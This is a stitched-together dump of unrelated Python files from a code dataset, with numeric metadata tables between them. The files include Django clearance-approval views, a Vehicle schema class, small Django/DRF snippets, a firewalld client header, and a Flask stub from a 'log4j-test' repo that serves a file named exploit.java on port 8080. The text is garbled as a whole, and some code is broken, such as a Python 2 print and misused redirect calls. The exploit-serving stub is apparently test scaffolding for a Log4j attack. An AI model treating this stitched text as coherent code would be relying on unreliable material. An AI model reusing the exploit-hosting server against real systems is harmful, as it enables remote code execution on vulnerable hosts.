for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.assistant_registrar_approval = True
stud.save()
else:
stud.assistant_registrar_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/assistant_registrar_profile',{'students': students, 'assistant_registrar': assistant_registrar})
def caretaker_profile(request):
if request.method == "GET":
username = request.user.username
caretaker = Caretaker.objects.get(webmail=username)
hostel = caretaker.hostel
students = Student.objects.filter(hostel=hostel)
return render(request, 'main/caretaker.html',
{'error_message': 'valid login', 'students': students, 'caretaker': caretaker, 'hostel': hostel})
elif request.method=="POST":
username = request.user.username
caretaker = Caretaker.objects.get(webmail=username)
hostel = caretaker.hostel
students = Student.objects.filter(hostel=hostel)
for stud in students:
if request.POST.get(stud.webmail,"") == 'on':
stud.caretaker_approval=True
stud.save()
else :
stud.caretaker_approval = False
stud.warden_approval = False
stud.assistant_registrar_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/caretaker_profile',{ 'students': students, 'caretaker': caretaker, 'hostel': hostel })
def onlinecc_profile(request):
if request.method == "GET":
username = request.user.username
onlinecc = OnlineCC.objects.get(webmail=username)
students = Student.objects.all()
return render(request, 'main/onlinecc.html',
{'error_message': 'valid login', 'students': students, 'onlinecc': onlinecc})
elif request.method == "POST":
username = request.user.username
onlinecc = OnlineCC.objects.get(webmail=username)
students = Student.objects.all()
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.online_cc_approval = True
stud.save()
else:
stud.online_cc_approval = False
stud.cc_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/onlinecc_profile',{'students': students, 'onlinecc': onlinecc})
def cc_profile(request):
if request.method == "GET":
username = request.user.username
cc = CC.objects.get(webmail=username)
students = Student.objects.filter(online_cc_approval=True)
return render(request, 'main/cc.html',
{'error_message': 'valid login', 'students': students, 'cc': cc})
elif request.method == "POST":
username = request.user.username
cc = CC.objects.get(webmail=username)
students = Student.objects.filter(online_cc_approval=True)
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.cc_approval = True
stud.save()
else:
stud.cc_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/cc_profile',{'students': students, 'cc': cc})
def faculty_profile(request):
if request.method == "GET":
username = request.user.username
fac = Faculty.objects.get(webmail=username)
dept = fac.dept
students = Student.objects.filter(dept=dept)
stud_fac_status = StudFacStatus.objects.filter(faculty=fac)
return render(request, 'main/faculty.html',
{'error_message': 'valid login', 'students': students, 'faculty': fac, 'dept': dept,'StudFacStatus': stud_fac_status})
elif request.method=="POST":
username = request.user.username
fac = Faculty.objects.get(webmail=username)
dept = fac.dept
students = Student.objects.filter(dept=dept)
stud_fac_status = StudFacStatus.objects.filter(faculty=fac)
for stud in students:
for i in stud_fac_status :
if i.student.name == stud.name:
if request.POST.get(stud.webmail,"") == 'on':
x=StudFacStatus.objects.get(student=stud, faculty=fac)
x.approval=True
x.save()
else :
x = StudFacStatus.objects.get(student=stud, faculty=fac)
print x
x.approval=False
x.save()
stud.dept_status = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/faculty_profile',{'students': students, 'faculty': fac, 'dept':dept,'StudFacStatus': stud_fac_status})
def gymkhana_profile(request):
if request.method == "GET":
username = request.user.username
gymkhana = Gymkhana.objects.get(webmail=username)
students = Student.objects.all()
return render(request, 'main/gymkhana.html',
{'error_message': 'valid login', 'students': students, 'gymkhana': gymkhana})
elif request.method == "POST":
username = request.user.username
gymkhana = Gymkhana.objects.get(webmail=username)
students = Student.objects.all()
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.gymkhana_approval = True
stud.save()
else:
stud.gymkhana_approval = False
stud.assistant_registrar_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/gymkhana_profile',{'students': students, 'gymkhana': gymkhana})
def hod_profile(request):
if request.method == "GET":
username = request.user.username
hod = HOD.objects.get(webmail=username)
students = Student.objects.filter(dept=hod.dept, assistant_registrar_approval=True,library_approval=True, cc_approval=True)
return render(request, 'main/hod.html',
{'error_message': 'valid login', 'students': students,
'hod': hod})
elif request.method == "POST":
username = request.user.username
hod = HOD.objects.get(webmail=username)
students = Student.objects.filter(dept=hod.dept, assistant_registrar_approval=True,library_approval=True, cc_approval=True)
for stud in students:
if stud.lab_status() == True and stud.dept_status() == True:
if request.POST.get(stud.webmail, "") == 'on':
stud.hod_approval = True
stud.save()
else:
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/hod_profile',{'error_message': 'valid login', 'students': students,'hod': hod})
def lab_profile(request):
if request.method == "GET":
username = request.user.username
lab = Lab.objects.get(webmail=username)
students = Student.objects.all()
stud_lab_status = StudLabStatus.objects.filter(lab=lab)
return render(request, 'main/lab.html',
{'error_message': 'valid login', 'students': students, 'lab': lab, 'StudLabStatus': stud_lab_status})
elif request.method=="POST":
username = request.user.username
lab = Lab.objects.get(webmail=username)
students = Student.objects.all()
stud_lab_status = StudLabStatus.objects.filter(lab=lab)
for stud in students:
for i in stud_lab_status :
if i.student.name == stud.name:
if request.POST.get(stud.webmail,"") == 'on':
x=StudLabStatus.objects.get(student=stud, lab=lab)
x.approval=True
x.save()
else :
x = StudLabStatus.objects.get(student=stud, lab=lab)
x.approval=False
x.save()
stud.lab_status = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/lab_profile',{'students': students, 'lab': lab, 'StudLabStatus': stud_lab_status})
def library_profile(request):
if request.method == "GET":
username = request.user.username
library = Library.objects.get(webmail=username)
students = Student.objects.filter(submit_thesis=True)
return render(request, 'main/library.html',
{'error_message': 'valid login', 'students': students, 'library': library})
elif request.method == "POST":
username = request.user.username
library = Library.objects.get(webmail=username)
students = Student.objects.filter(submit_thesis=True)
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.library_approval = True
stud.save()
else:
stud.library_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/library_profile',{'students': students, 'library': library})
def thesis_manager_profile(request):
if request.method == "GET":
username = request.user.username
thesis_manager = SubmitThesis.objects.get(webmail=username)
students = Student.objects.all()
return render(request, 'main/thesis_manager.html',
{'error_message': 'valid login', 'students': students, 'thesis_manager':thesis_manager})
elif request.method == "POST":
username = request.user.username
thesis_manager = SubmitThesis.objects.get(webmail=username)
students = Student.objects.all()
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.submit_thesis = True
stud.save()
else:
stud.submit_thesis = False
stud.library_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/thesis_manager_profile',{'students': students, 'thesis_manager':thesis_manager})
def warden_profile(request):
if request.method == "GET":
username = request.user.username
warden = Warden.objects.get(webmail=username)
hostel = warden.hostel
students = Student.objects.filter(hostel=hostel, caretaker_approval=True)
return render(request, 'main/warden.html',
{'error_message': 'valid login', 'students': students, 'warden': warden,
'hostel': hostel})
elif request.method == "POST":
username = request.user.username
warden = Warden.objects.get(webmail=username)
hostel = warden.hostel
students = Student.objects.filter(hostel=hostel, caretaker_approval=True)
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.warden_approval = True
stud.save()
else:
stud.warden_approval = False
stud.assistant_registrar_approval = False
stud.hod_approval = False
stud.account_approval = False
stud.save()
return redirect('/warden_profile', {'students': students, 'warden': warden,
'hostel': hostel })
def rules(request):
return render(request,'main/rules.html')
def contact(request):
return render(request,'main/contact.html')
| 42.992509
| 168
| 0.539638
| 2,214
| 22,958
| 5.49729
| 0.051491
| 0.049298
| 0.050283
| 0.066141
| 0.838468
| 0.7918
| 0.738477
| 0.684003
| 0.613097
| 0.555994
| 0
| 0.002845
| 0.357043
| 22,958
| 533
| 169
| 43.073171
| 0.821692
| 0.000653
| 0
| 0.639066
| 0
| 0
| 0.114003
| 0.009242
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.004246
| 0.019108
| null | null | 0.002123
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1e3ec1e1edc917c8fb378f0dd054be1b44724948
| 158
|
py
|
Python
|
main.py
|
FDMZ17/log4j-test
|
35c89ec36b938ec8969c0b6f5bb51b94801c3630
|
[
"MIT"
] | null | null | null |
main.py
|
FDMZ17/log4j-test
|
35c89ec36b938ec8969c0b6f5bb51b94801c3630
|
[
"MIT"
] | null | null | null |
main.py
|
FDMZ17/log4j-test
|
35c89ec36b938ec8969c0b6f5bb51b94801c3630
|
[
"MIT"
] | null | null | null |
from flask import Flask
app = Flask(__name__)
@app.route("/exploit.java")
def exploit():
return open("exploit.java").read()
app.run(port=8080)
| 17.555556
| 39
| 0.658228
| 22
| 158
| 4.545455
| 0.681818
| 0.22
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030769
| 0.177215
| 158
| 9
| 40
| 17.555556
| 0.738462
| 0
| 0
| 0
| 0
| 0
| 0.165563
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.166667
| 0.166667
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
1e4c258259e9c0c3a6c5713da0cff80e10dbb534
| 166
|
py
|
Python
|
account/exceptions.py
|
KimSoungRyoul/drf_unitteset_study_project
|
9a0d824bdc6343eeba6209299c077a6e9d280516
|
[
"MIT"
] | null | null | null |
account/exceptions.py
|
KimSoungRyoul/drf_unitteset_study_project
|
9a0d824bdc6343eeba6209299c077a6e9d280516
|
[
"MIT"
] | null | null | null |
account/exceptions.py
|
KimSoungRyoul/drf_unitteset_study_project
|
9a0d824bdc6343eeba6209299c077a6e9d280516
|
[
"MIT"
] | null | null | null |
from rest_framework.exceptions import NotAuthenticated as DRFNotAuthenticated
class NotAuthentication(DRFNotAuthenticated):
default_detail = '인증 되지 않은 사용자입니다.'
| 27.666667
| 77
| 0.831325
| 17
| 166
| 8
| 0.941176
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.120482
| 166
| 5
| 78
| 33.2
| 0.931507
| 0
| 0
| 0
| 0
| 0
| 0.096386
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1e6586167fb40df4b085ff9ed762420d0879a44f
| 124
|
py
|
Python
|
ingestion/Blocktrace/Schemas/Action.py
|
mharrisb1/blocktrace
|
3c54286d4f28c3b0610f577dfdbbf643953475fa
|
[
"MIT"
] | null | null | null |
ingestion/Blocktrace/Schemas/Action.py
|
mharrisb1/blocktrace
|
3c54286d4f28c3b0610f577dfdbbf643953475fa
|
[
"MIT"
] | null | null | null |
ingestion/Blocktrace/Schemas/Action.py
|
mharrisb1/blocktrace
|
3c54286d4f28c3b0610f577dfdbbf643953475fa
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass
@dataclass(frozen=True)
class Action:
account: str
name: str
jsonData: dict
| 13.777778
| 33
| 0.717742
| 15
| 124
| 5.933333
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.217742
| 124
| 8
| 34
| 15.5
| 0.917526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.166667
| 0
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
1e794aab1f797a9d672ad7f3b5b8a5edbbdea493
| 8,465
|
py
|
Python
|
PreprocessData/all_class_files/Vehicle.py
|
wkid-neu/Schema
|
4854720a15894dd814691a55e03329ecbbb6f558
|
[
"MIT"
] | 3
|
2021-11-06T12:29:05.000Z
|
2022-03-22T12:48:55.000Z
|
PreprocessData/all_class_files/Vehicle.py
|
DylanNEU/Schema
|
4854720a15894dd814691a55e03329ecbbb6f558
|
[
"MIT"
] | null | null | null |
PreprocessData/all_class_files/Vehicle.py
|
DylanNEU/Schema
|
4854720a15894dd814691a55e03329ecbbb6f558
|
[
"MIT"
] | 1
|
2021-11-06T12:29:12.000Z
|
2021-11-06T12:29:12.000Z
|
from PreprocessData.all_class_files.Product import Product
import global_data
class Vehicle(Product):
def __init__(self, additionalType=None, alternateName=None, description=None, disambiguatingDescription=None, identifier=None, image=None, mainEntityOfPage=None, name=None, potentialAction=None, sameAs=None, url=None, additionalProperty=None, aggregateRating=None, audience=None, award=None, brand=None, category=None, color=None, depth=None, gtin12=None, gtin13=None, gtin14=None, gtin8=None, height=None, isAccessoryOrSparePartFor=None, isConsumableFor=None, isRelatedTo=None, isSimilarTo=None, itemCondition=None, logo=None, manufacturer=None, material=None, model=None, mpn=None, offers=None, productID=None, productionDate=None, purchaseDate=None, releaseDate=None, review=None, sku=None, weight=None, width=None, cargoVolume=None, dateVehicleFirstRegistered=None, driveWheelConfiguration=None, fuelConsumption=None, fuelEfficiency=None, fuelType=None, knownVehicleDamages=None, mileageFromOdometer=None, numberOfAirbags=None, numberOfAxles=None, numberOfDoors=None, numberOfForwardGears=None, numberOfPreviousOwners=None, steeringPosition=None, vehicleConfiguration=None, vehicleEngine=None, vehicleIdentificationNumber=None, vehicleInteriorColor=None, vehicleInteriorType=None, vehicleModelDate=None, vehicleSeatingCapacity=None, vehicleSpecialUsage=None, vehicleTransmission=None):
Product.__init__(self, additionalType, alternateName, description, disambiguatingDescription, identifier, image, mainEntityOfPage, name, potentialAction, sameAs, url, additionalProperty, aggregateRating, audience, award, brand, category, color, depth, gtin12, gtin13, gtin14, gtin8, height, isAccessoryOrSparePartFor, isConsumableFor, isRelatedTo, isSimilarTo, itemCondition, logo, manufacturer, material, model, mpn, offers, productID, productionDate, purchaseDate, releaseDate, review, sku, weight, width)
self.cargoVolume = cargoVolume
self.dateVehicleFirstRegistered = dateVehicleFirstRegistered
self.driveWheelConfiguration = driveWheelConfiguration
self.fuelConsumption = fuelConsumption
self.fuelEfficiency = fuelEfficiency
self.fuelType = fuelType
self.knownVehicleDamages = knownVehicleDamages
self.mileageFromOdometer = mileageFromOdometer
self.numberOfAirbags = numberOfAirbags
self.numberOfAxles = numberOfAxles
self.numberOfDoors = numberOfDoors
self.numberOfForwardGears = numberOfForwardGears
self.numberOfPreviousOwners = numberOfPreviousOwners
self.productionDate = productionDate
self.purchaseDate = purchaseDate
self.steeringPosition = steeringPosition
self.vehicleConfiguration = vehicleConfiguration
self.vehicleEngine = vehicleEngine
self.vehicleIdentificationNumber = vehicleIdentificationNumber
self.vehicleInteriorColor = vehicleInteriorColor
self.vehicleInteriorType = vehicleInteriorType
self.vehicleModelDate = vehicleModelDate
self.vehicleSeatingCapacity = vehicleSeatingCapacity
self.vehicleSpecialUsage = vehicleSpecialUsage
self.vehicleTransmission = vehicleTransmission
def set_cargoVolume(self, cargoVolume):
self.cargoVolume = cargoVolume
def get_cargoVolume(self):
return self.cargoVolume
def set_dateVehicleFirstRegistered(self, dateVehicleFirstRegistered):
self.dateVehicleFirstRegistered = dateVehicleFirstRegistered
def get_dateVehicleFirstRegistered(self):
return self.dateVehicleFirstRegistered
def set_driveWheelConfiguration(self, driveWheelConfiguration):
self.driveWheelConfiguration = driveWheelConfiguration
def get_driveWheelConfiguration(self):
return self.driveWheelConfiguration
def set_fuelConsumption(self, fuelConsumption):
self.fuelConsumption = fuelConsumption
def get_fuelConsumption(self):
return self.fuelConsumption
def set_fuelEfficiency(self, fuelEfficiency):
self.fuelEfficiency = fuelEfficiency
def get_fuelEfficiency(self):
return self.fuelEfficiency
def set_fuelType(self, fuelType):
self.fuelType = fuelType
def get_fuelType(self):
return self.fuelType
def set_knownVehicleDamages(self, knownVehicleDamages):
self.knownVehicleDamages = knownVehicleDamages
def get_knownVehicleDamages(self):
return self.knownVehicleDamages
def set_mileageFromOdometer(self, mileageFromOdometer):
self.mileageFromOdometer = mileageFromOdometer
def get_mileageFromOdometer(self):
return self.mileageFromOdometer
def set_numberOfAirbags(self, numberOfAirbags):
self.numberOfAirbags = numberOfAirbags
def get_numberOfAirbags(self):
return self.numberOfAirbags
def set_numberOfAxles(self, numberOfAxles):
self.numberOfAxles = numberOfAxles
def get_numberOfAxles(self):
return self.numberOfAxles
def set_numberOfDoors(self, numberOfDoors):
self.numberOfDoors = numberOfDoors
def get_numberOfDoors(self):
return self.numberOfDoors
def set_numberOfForwardGears(self, numberOfForwardGears):
self.numberOfForwardGears = numberOfForwardGears
def get_numberOfForwardGears(self):
return self.numberOfForwardGears
def set_numberOfPreviousOwners(self, numberOfPreviousOwners):
self.numberOfPreviousOwners = numberOfPreviousOwners
def get_numberOfPreviousOwners(self):
return self.numberOfPreviousOwners
def set_productionDate(self, productionDate):
self.productionDate = productionDate
def get_productionDate(self):
return self.productionDate
def set_purchaseDate(self, purchaseDate):
self.purchaseDate = purchaseDate
def get_purchaseDate(self):
return self.purchaseDate
def set_steeringPosition(self, steeringPosition):
self.steeringPosition = steeringPosition
def get_steeringPosition(self):
return self.steeringPosition
def set_vehicleConfiguration(self, vehicleConfiguration):
self.vehicleConfiguration = vehicleConfiguration
def get_vehicleConfiguration(self):
return self.vehicleConfiguration
def set_vehicleEngine(self, vehicleEngine):
self.vehicleEngine = vehicleEngine
def get_vehicleEngine(self):
return self.vehicleEngine
def set_vehicleIdentificationNumber(self, vehicleIdentificationNumber):
self.vehicleIdentificationNumber = vehicleIdentificationNumber
def get_vehicleIdentificationNumber(self):
return self.vehicleIdentificationNumber
def set_vehicleInteriorColor(self, vehicleInteriorColor):
self.vehicleInteriorColor = vehicleInteriorColor
def get_vehicleInteriorColor(self):
return self.vehicleInteriorColor
def set_vehicleInteriorType(self, vehicleInteriorType):
self.vehicleInteriorType = vehicleInteriorType
def get_vehicleInteriorType(self):
return self.vehicleInteriorType
def set_vehicleModelDate(self, vehicleModelDate):
self.vehicleModelDate = vehicleModelDate
def get_vehicleModelDate(self):
return self.vehicleModelDate
def set_vehicleSeatingCapacity(self, vehicleSeatingCapacity):
self.vehicleSeatingCapacity = vehicleSeatingCapacity
def get_vehicleSeatingCapacity(self):
return self.vehicleSeatingCapacity
def set_vehicleSpecialUsage(self, vehicleSpecialUsage):
self.vehicleSpecialUsage = vehicleSpecialUsage
def get_vehicleSpecialUsage(self):
return self.vehicleSpecialUsage
def set_vehicleTransmission(self, vehicleTransmission):
self.vehicleTransmission = vehicleTransmission
def get_vehicleTransmission(self):
return self.vehicleTransmission
def __setattr__(self, key, value_list):
if type(value_list).__name__ == "NoneType" or key == "node_id":
self.__dict__[key] = value_list
return
for value in value_list:
str_value = type(value).__name__
if str_value not in global_data.get_table()[key]:
raise ValueError("非法类型!")
self.__dict__[key] = value_list
| 43.634021
| 1,294
| 0.745304
| 695
| 8,465
| 8.946763
| 0.146763
| 0.024124
| 0.056288
| 0.014474
| 0.006433
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002048
| 0.192439
| 8,465
| 193
| 1,295
| 43.860104
| 0.907548
| 0
| 0
| 0.374101
| 0
| 0
| 0.002418
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.374101
| false
| 0
| 0.014388
| 0.179856
| 0.582734
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
1e94caa9c385955f2686026562bcd150a5a12a93
| 94
|
py
|
Python
|
django_doc/apps.py
|
bgreatfit/locallibrary
|
2be9656a47a315c521c9280b0d9e433589d02229
|
[
"CC0-1.0"
] | null | null | null |
django_doc/apps.py
|
bgreatfit/locallibrary
|
2be9656a47a315c521c9280b0d9e433589d02229
|
[
"CC0-1.0"
] | 7
|
2020-06-06T01:20:33.000Z
|
2022-02-10T14:46:54.000Z
|
django_doc/apps.py
|
bgreatfit/locallibrary
|
2be9656a47a315c521c9280b0d9e433589d02229
|
[
"CC0-1.0"
] | null | null | null |
from django.apps import AppConfig
class DjangoDocConfig(AppConfig):
name = 'django_doc'
| 15.666667
| 33
| 0.765957
| 11
| 94
| 6.454545
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159574
| 94
| 5
| 34
| 18.8
| 0.898734
| 0
| 0
| 0
| 0
| 0
| 0.106383
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1e9dd7d3bfd4abdddc68031dfa46223d752b3b36
| 325
|
py
|
Python
|
Day18/Extract_Unique_Dictionary_Values.py
|
tushartrip1010/100_days_code_py
|
ee74b429e98cdd8bdf8661cf987da67c9fee5a3e
|
[
"Apache-2.0"
] | null | null | null |
Day18/Extract_Unique_Dictionary_Values.py
|
tushartrip1010/100_days_code_py
|
ee74b429e98cdd8bdf8661cf987da67c9fee5a3e
|
[
"Apache-2.0"
] | null | null | null |
Day18/Extract_Unique_Dictionary_Values.py
|
tushartrip1010/100_days_code_py
|
ee74b429e98cdd8bdf8661cf987da67c9fee5a3e
|
[
"Apache-2.0"
] | null | null | null |
def Extract_Dictionary_Values(Test_dict):
return [sorted({numbers for ele in Test_dict.values() for numbers in ele})]
Test_dict = {'Challenges': [5, 6, 7, 8],
'are': [10, 11, 7, 5],
'best': [6, 12, 10, 8],
'for': [1, 2, 5]}
print(*(Extract_Dictionary_Values(Test_dict)))
| 32.5
| 80
| 0.556923
| 46
| 325
| 3.76087
| 0.543478
| 0.184971
| 0.265896
| 0.312139
| 0.358382
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080169
| 0.270769
| 325
| 9
| 81
| 36.111111
| 0.649789
| 0
| 0
| 0
| 0
| 0
| 0.063291
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0
| 0
| 0.142857
| 0.285714
| 0.142857
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
1eb4a02a64364ebfeeba9ebc52a8d3c2ce8062d4
| 95
|
py
|
Python
|
vertexPlus/apps.py
|
FelixTheC/onlineOrderForm
|
6f606fe7baa56e94d48278da8258b5eb33a3590d
|
[
"Apache-2.0"
] | null | null | null |
vertexPlus/apps.py
|
FelixTheC/onlineOrderForm
|
6f606fe7baa56e94d48278da8258b5eb33a3590d
|
[
"Apache-2.0"
] | null | null | null |
vertexPlus/apps.py
|
FelixTheC/onlineOrderForm
|
6f606fe7baa56e94d48278da8258b5eb33a3590d
|
[
"Apache-2.0"
] | 1
|
2021-04-01T16:52:35.000Z
|
2021-04-01T16:52:35.000Z
|
from django.apps import AppConfig
class VertexplusConfig(AppConfig):
name = 'vertexPlus'
| 15.833333
| 34
| 0.768421
| 10
| 95
| 7.3
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 95
| 5
| 35
| 19
| 0.9125
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1eb5ab72fa4e8ae3b5945e1e1d5a45fc46e774bf
| 494
|
py
|
Python
|
ECD_control/__init__.py
|
AndrewOriani/ECD_control
|
1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7
|
[
"MIT"
] | null | null | null |
ECD_control/__init__.py
|
AndrewOriani/ECD_control
|
1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7
|
[
"MIT"
] | null | null | null |
ECD_control/__init__.py
|
AndrewOriani/ECD_control
|
1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7
|
[
"MIT"
] | 1
|
2022-02-27T21:44:05.000Z
|
2022-02-27T21:44:05.000Z
|
from . import ECD_optimization
from . import ECD_pulse_construction
from .ECD_pulse_construction import FakeStorage, FakeQubit, FakePulse
from .ECD_optimization import BatchOptimizer, OptimizationSweepsAnalysis, OptimizationAnalysis, VisualizationMixin, tf_quantum, optimization_sweeps
__all__=['BatchOptimizer', 'OptimizationSweepsAnalysis', 'OptimizationAnalysis', 'VisualizationMixin', 'tf_quantum', 'optimization_sweeps', 'ECD_pulse_construction', 'FakeStorage', 'FakeQubit', 'FakePulse']
| 70.571429
| 206
| 0.84413
| 44
| 494
| 9.113636
| 0.386364
| 0.05985
| 0.149626
| 0.389027
| 0.523691
| 0.523691
| 0.523691
| 0.523691
| 0
| 0
| 0
| 0
| 0.068826
| 494
| 7
| 206
| 70.571429
| 0.871739
| 0
| 0
| 0
| 0
| 0
| 0.319838
| 0.097166
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1eb5af2ede1d52e797cf68dab5feb50106d2e810
| 163
|
py
|
Python
|
src/notepad/forms.py
|
vijaykumarmcp/StockChartVisual
|
569010e5180640039b201460095abd341a922ec2
|
[
"MIT"
] | null | null | null |
src/notepad/forms.py
|
vijaykumarmcp/StockChartVisual
|
569010e5180640039b201460095abd341a922ec2
|
[
"MIT"
] | null | null | null |
src/notepad/forms.py
|
vijaykumarmcp/StockChartVisual
|
569010e5180640039b201460095abd341a922ec2
|
[
"MIT"
] | null | null | null |
from django import forms
from .models import Note
class NoteModelForm(forms.ModelForm):
class Meta:
model=Note
fields=['title','url','image']
| 20.375
| 38
| 0.674847
| 20
| 163
| 5.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.214724
| 163
| 7
| 39
| 23.285714
| 0.859375
| 0
| 0
| 0
| 0
| 0
| 0.079755
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1eb658ec8e22f6303c8c567ea06eb6b7d4c2a705
| 109,525
|
py
|
Python
|
client.py
|
blockchainhelppro/Security-Flag-Installation
|
25a193191bb94f58642f30a16c1ab32470258e37
|
[
"MIT"
] | null | null | null |
client.py
|
blockchainhelppro/Security-Flag-Installation
|
25a193191bb94f58642f30a16c1ab32470258e37
|
[
"MIT"
] | null | null | null |
client.py
|
blockchainhelppro/Security-Flag-Installation
|
25a193191bb94f58642f30a16c1ab32470258e37
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2009-2016 Red Hat, Inc.
#
# Authors:
# Thomas Woerner <twoerner@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from gi.repository import GLib, GObject
# force use of pygobject3 in python-slip
import sys
sys.modules['gobject'] = GObject
import dbus.mainloop.glib
import slip.dbus
from decorator import decorator
from firewall import config
from firewall.core.base import DEFAULT_ZONE_TARGET
